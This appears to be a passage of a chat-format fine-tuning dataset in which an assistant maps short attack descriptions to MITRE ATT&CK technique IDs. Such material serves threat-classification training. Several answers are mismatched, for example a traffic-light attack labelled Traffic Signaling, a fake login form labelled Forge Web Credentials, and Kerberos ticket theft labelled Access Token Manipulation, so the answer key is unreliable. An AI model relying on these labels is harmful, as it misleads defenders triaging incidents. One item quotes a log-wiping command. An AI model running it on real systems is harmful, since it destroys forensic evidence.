        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a new Windows service and configures it to execute a malicious payload at system startup."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abuses a default admin account to generate additional cloud accounts for later use."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary installs a malicious root certificate on the victim's machine to intercept TLS traffic."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor's code was obfuscated with string concatenation and variable renaming to thwart reverse engineering."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a privileged account and adds it to the Administrators group to maintain control."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a malicious update to a mobile game, the attacker injected code that harvested users' Snapchat usernames and passwords."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a container image with a hidden reverse shell and start it on the target host."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a misconfigured S3 bucket to download AWS access keys and subsequently assumed privileged roles."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor contacts a target via a VoIP service, claiming to be a help desk technician and asks the user to install remote access software."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the Windows API DuplicateTokenEx to create a new token with SeDebugPrivilege enabled."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious link is hidden in a seemingly legitimate software update notification, prompting users to download and run malware."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder scans public IP ranges with Nmap to identify open ports and services."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Active Scanning: Scanning IP Blocks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker crafts fake login forms that harvest credentials, then uses the collected usernames and passwords to log into the victim's web portal."
            },
            {
                "role": "assistant",
                "content": "T1606 - Forge Web Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executed \"> /var/log/kern.log\" to truncate kernel logs on a compromised Linux system."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries hijack the vDSO memory region to execute arbitrary payloads inside a target Linux process, bypassing standard security controls."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a vulnerability in a municipal traffic controller to change the timing of a major intersection's traffic lights, causing green lights on all directions simultaneously."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Linux based backdoor overwrites the gettimeofday function in the vDSO to run arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A fraudulent voice message instructs users to download a bogus update to capture credentials."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages a credential‑dumping tool to extract the current device admin credentials, then overwrites them with a new password to maintain control over the network device."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker conducts lateral movement via the exploitation of software supply chain vulnerabilities, where compromises at a supplier level allow for the deployment of malicious updates across their customer base."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor launches a denial‑of‑service attack against critical internal web services, causing outage."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious PowerPoint slides are used to test if the target system has the Office suite by attempting to load a custom add-in."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary steals a user's Kerberos ticket from memory and reuses it to access network resources."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries deployed a malicious PCIe card into the server to gain persistent low‑level access."
            },
            {
                "role": "assistant",
                "content": "T1200 - Hardware Additions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker exfiltrates stolen data by uploading files to a compromised cloud storage web service."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a fresh Azure Virtual Machine via the Azure portal after obtaining a valid service principal token."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage credential dumping to discover and then modify account attributes."
            },
            {
                "role": "assistant",
                "content": "T1098 - Account Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker alters a shared configuration file used by multiple services, inserting commands that execute with elevated privileges on load."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors develop custom certificates to sign driver binaries that evade kernel protection."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before distribution, the malicious macro was obfuscated further by removing all macro comments and author tags that could reveal the creation tool."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant extracts saved Wi‑Fi network passwords from the system's configuration store."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Mimikatz, the threat actor harvests Kerberos tickets and replays them to access additional network resources."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder employs a public gist on GitHub as a dead‑drop, writing JSON objects containing C2 instructions that are fetched by the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email claiming to be a software update includes a link to a fake download page that captures the user's login information when accessed."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit the NuGet package manager by publishing a package that contains a post-install script which executes malware on the host."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a stealthy move, the actor used a kernel driver to issue a low‑level command that overwrote all data sectors on the primary storage device."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool writes a malicious DLL into the alpha channel of a BMP image, later retrieving it to load into memory."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet launches a SYN flood against the organization's firewall, overwhelming it."
            },
            {
                "role": "assistant",
                "content": "T1499.001 - Endpoint Denial of Service: OS Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker enumerates all files in the user's Documents folder to locate sensitive PDFs."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan uses a DGA that creates domain names by interleaving characters from a predefined word list with random digits, changing the list daily."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised application uploads a SQL script containing a new stored procedure that drops tables and exfiltrates data via outbound network calls."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A tool injects a DLL by leveraging the target process’s thread local storage structures, then resumes the thread to run the malicious code."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors search open DNS replication services to enumerate previously resolved domain names and map them to infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages Outlook's Form Region feature to automatically execute a back‑door when Outlook starts, a classic T1137.003 technique."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker loads malicious PowerShell scripts directly into memory without writing any files to disk, using fileless techniques to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A distributed denial-of-service attack was carried out using a list of compromised IoT devices to generate massive traffic against the target network."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A brief description: attacker registers a new device to a victim’s account, achieving persistence."
            },
            {
                "role": "assistant",
                "content": "T1098.005 - Account Manipulation: Device Registration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses rootkit techniques to hide kernel‑level modules from system monitors."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the breach, the attacker accessed the management console using the vendor‑provided default login 'admin:admin'."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The perpetrator performs reconnaissance by searching the internet for the victim’s hosted sites to gather intelligence on their infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is established by adding a malicious entry to the system-wide XDG autostart folder, which runs on each boot."
            },
            {
                "role": "assistant",
                "content": "T1547.013 - Boot or Logon Autostart Execution: XDG Autostart Entries"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs a DNS zone transfer to gather domain group information indirectly."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware downgrades the victim's antivirus software to an older version with known vulnerabilities, reducing its protective capabilities."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor breached the organization’s internal PKI and exfiltrated the private key of an internal code‑signing certificate to forge malicious binaries."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a custom Control Panel item that runs a malicious script, using the system binary proxy execution pathway to gain persistence."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker attempts to use SSH's SFTP subsystem to upload malicious binaries to the target server."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool uses socketpair communication to coordinate actions between two compromised processes on the same machine."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses the built‑in Windows executable Verclsid.exe to proxy execution of a malicious script by abusing COM registration hijacking."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware locates and uploads the user's .bash_history, looking for any lines that include authentication details like sudo or ssh passwords."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs the 'adb' tool to execute shell commands on a compromised Android device."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing insufficient file permission controls on a setup executable, the attacker injects a payload that runs automatically when the installer is executed by a privileged user."
            },
            {
                "role": "assistant",
                "content": "T1574.005 - Hijack Execution Flow: Executable Installer File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker’s script runs a PowerShell command to list running processes and looks for sandbox tools like \"vboxservice.exe\"."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script renamed the Windows PowerShell executable to 'update.exe' and executed it, masquerading as a legitimate update."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a misconfigured Azure AD Connect sync to push malicious credentials into the on‑premises Active Directory, allowing lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware encrypts user files on the workstation and displays a ransom note demanding payment."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor used a compromised corporate OneDrive for Business account to sync stolen files to the attacker's cloud storage."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a supply chain attack, a trojan was installed that records all files copied to any external drive and emails them to a command‑and‑control address."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code is inserted into the disk image used for system imaging, causing the implant to load during OS deployment."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a browser extension, the intruder captured session cookies for the target site and reused them on a separate device to bypass login."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involved moving a post-exploitation script from the first compromised machine to other systems via CIFS."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload includes code that, upon detecting a newly mounted USB device, writes a zip of user data to it, even if the device is formatted with FAT32."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs `wmic product get name,version` to list all installed applications on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious link shared via direct message on Snapchat leads the victim to a counterfeit login page, resulting in account takeover."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor employs a hidden Tor hidden service as a fallback channel for command and control after firewalls block the usual VPN."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor performs a repository scrape of a public GitHub organization, collecting all publicly available code and commit histories for analysis."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the registry key that controls Windows Defender's real‑time protection level, setting it to a lower security setting to bypass detection."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
